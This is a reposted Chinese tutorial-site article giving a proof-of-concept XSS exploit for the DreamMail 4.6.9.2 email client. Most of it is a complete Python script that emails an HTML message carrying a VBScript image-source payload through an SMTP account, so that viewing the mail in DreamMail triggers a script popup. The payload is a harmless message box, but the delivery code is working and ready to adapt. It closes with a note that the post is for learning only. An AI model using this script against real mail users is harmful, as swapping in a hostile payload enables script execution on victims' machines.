网站地图    收藏   

主页 > 后端 > 网站安全 >

Dreammail V4.6.9.2 XSS漏洞利用 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 转载请注明:@小五义http://www.cnblogs.com/xiaowuyi针对版本:DreamMail 4.6.9.2测试环境:windows xp sp3python版本:2.6测试邮箱:126.com#-*- coding:UTF-8 -*-#@小五义 http://www.cnblogs.com/xiao......

转载请注明:@小五义 http://www.cnblogs.com/xiaowuyi

针对版本: DreamMail 4.6.9.2
测试环境:windows xp sp3

python版本:2.6

测试邮箱:126.com

 #-*- coding:UTF-8 -*-

#@小五义 http://www.cnblogs.com/xiaowuyi


import smtplib, urllib2
 
payload = '''<IMG SRC='vbscript:msgbox("Hello world!")'>'''
 
def sendMail(toemail, smtpsrv, username, password):
        msg  = "From: XXXX@126.com\n"
        msg += "To:YYYY@126.com\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS payload\n"
        msg += "Content-type: text/html\n\n"
        msg += payload + "\r\n\r\n"
        server = smtplib.SMTP()
        server.connect(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(username, toemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "XXXX@126.com" #也可使用其它邮件服务器
password = "XXXXX"  #密码
toemail = "YYYY@126.com"
smtpsrv  = "smtp.126.com"
 
print "[*] Sending Email"
sendMail(toemail, smtpsrv, username, password)

发送成功后,当用dreammail浏览该邮件时,会弹窗提示,如下:

\

该博文仅供学习交流。  

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论